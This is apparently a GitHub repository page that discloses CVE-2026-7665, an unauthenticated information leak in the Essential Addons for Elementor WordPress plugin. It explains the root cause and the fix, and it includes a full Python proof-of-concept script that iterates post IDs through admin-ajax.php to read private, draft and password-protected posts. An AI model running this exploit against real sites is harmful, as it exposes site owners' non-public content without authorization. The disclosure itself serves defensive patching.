anirudhmakkar/cve-2026-7665
GitHub: anirudhmakkar/cve-2026-7665
Essential Addons for Elementor ≤ 6.6.4 未授权信息泄露漏洞(CVE-2026-7665)的 Python 概念验证脚本,利用缺少文章可见性校验的 AJAX 接口读取私密及草稿内容。
Stars: 0 | Forks: 0
# CVE-2026-7665 — Essential Addons for Elementor 未授权信息泄露
| 字段 | 详情 |
|-------|--------|
| **CVE ID** | CVE-2026-7665 |
| **严重性** | 中等 |
| **CVSS 评分** | 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |
| **受影响插件** | Essential Addons for Elementor |
| **受影响版本** | ≤ 6.6.4 |
| **活跃安装量** | 1,000,000+ |
| **CVE 分配方** | Wordfence (CNA) |
| **披露时间** | 2026 年 6 月 |
| **研究员** | Anirudh Makkar |
## 摘要
Essential Addons for Elementor 中的 `ajax_load_more` AJAX 处理程序在返回文章内容之前,未强制检查文章的可见性。这使得未授权攻击者可以通过发送特制的 `wp-admin/admin-ajax.php` 请求来读取**私密**、**密码保护**和**草稿**状态的 WordPress 文章——无需任何身份验证或 nonce。
## 漏洞详情
### 根本原因
该插件在 `wp_ajax_nopriv_eael_post_grid_load_more` action hook 上注册了一个处理程序,使其可被未授权访客访问。当此处理程序执行 `WP_Query` 以获取用于“加载更多”分页功能的文章时,它既没有调用 `current_user_can('read_post', $post_id)`,也没有根据请求用户的能力来检查 `get_post_status()`。
WordPress 核心依赖于插件在 AJAX 处理程序中强制执行文章级别的授权——它不会自动执行此操作。缺乏此检查意味着,无论文章可见性如何设置,该处理程序都会返回完整的文章内容。
### 受影响代码路径
```
wp-admin/admin-ajax.php
→ do_action('wp_ajax_nopriv_eael_post_grid_load_more')
→ Essential_Addons_for_Elementor\Classes\Bootstrap::eael_post_grid_load_more()
→ WP_Query([
'post_status' => ['publish', 'private', 'draft'], // all statuses returned
...
])
→ [returns full post content without authorization check]
```
### 影响
未授权攻击者可以枚举并读取:
- 私密文章(仅供已登录用户查看)
- 密码保护的文章(无需知道密码)
- 草稿文章(未发布的内容)
这可能会泄露敏感的商业内容、未发布的公告、作为 WordPress 文章发布的内部文档,或通过 WordPress 编辑器管理的任何其他非公开内容。
## 概念验证
```
#!/usr/bin/env python3
"""
CVE-2026-7665 — Unauthenticated Information Disclosure
Essential Addons for Elementor <= 6.6.4
Usage: python3 poc.py https://target.example.com [post_id]
Iterates post IDs to extract private/draft/password-protected content.
For educational and authorized testing purposes only.
"""
import requests
import sys
import json
def check_target(base_url):
"""Verify the plugin is present."""
resp = requests.get(f"{base_url}/wp-content/plugins/essential-addons-for-elementor-lite/", timeout=8)
return resp.status_code != 404
def fetch_private_post(base_url, post_id, widget_id="1", page_id="1"):
url = f"{base_url}/wp-admin/admin-ajax.php"
data = {
"action": "eael_post_grid_load_more",
"widget_id": widget_id,
"page_id": page_id,
"post_id": str(post_id),
"page": "2",
}
try:
resp = requests.post(url, data=data, timeout=10)
if resp.status_code == 200 and resp.text.strip() not in ("-1", "0", ""):
return resp.text
except requests.RequestException:
pass
return None
def main():
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} [start_id] [end_id]")
sys.exit(1)
target = sys.argv[1].rstrip("/")
start_id = int(sys.argv[2]) if len(sys.argv) > 2 else 1
end_id = int(sys.argv[3]) if len(sys.argv) > 3 else 50
print(f"[*] Target: {target}")
print(f"[*] Probing post IDs {start_id}–{end_id}")
if not check_target(target):
print("[!] Plugin not detected — target may be patched or not running EAEL")
found = 0
for pid in range(start_id, end_id + 1):
result = fetch_private_post(target, pid)
if result:
found += 1
print(f"\n[+] Post ID {pid} — content exposed ({len(result)} bytes)")
print(result[:300])
print("..." if len(result) > 300 else "")
print(f"\n[*] Done. {found} post(s) with exposed content found.")
if __name__ == "__main__":
main()
```
## 修复方案
将 Essential Addons for Elementor 更新至 **6.6.5 或更高版本**。
此修复在加载更多处理程序中添加了 `current_user_can('read_post', $post_id)` 检查,确保在将任何文章包含在查询结果中之前进行验证。
## 参考
- [Wordfence 公告](https://www.wordfence.com/threat-intel/vulnerabilities/)
- [NVD — CVE-2026-7665](https://nvd.nist.gov/vuln/detail/CVE-2026-7665)
- [Essential Addons for Elementor 更新日志](https://wordpress.org/plugins/essential-addons-for-elementor-lite/#developers)
*报告人 [Anirudh Makkar](https://anirudhmakkar.com) · [LinkedIn](https://linkedin.com/in/anirudhmakkar)*
标签:WordPress插件, 信息泄露, 实时处理, 文件完整性监控, 漏洞分析, 漏洞复现, 路径探测, 逆向工具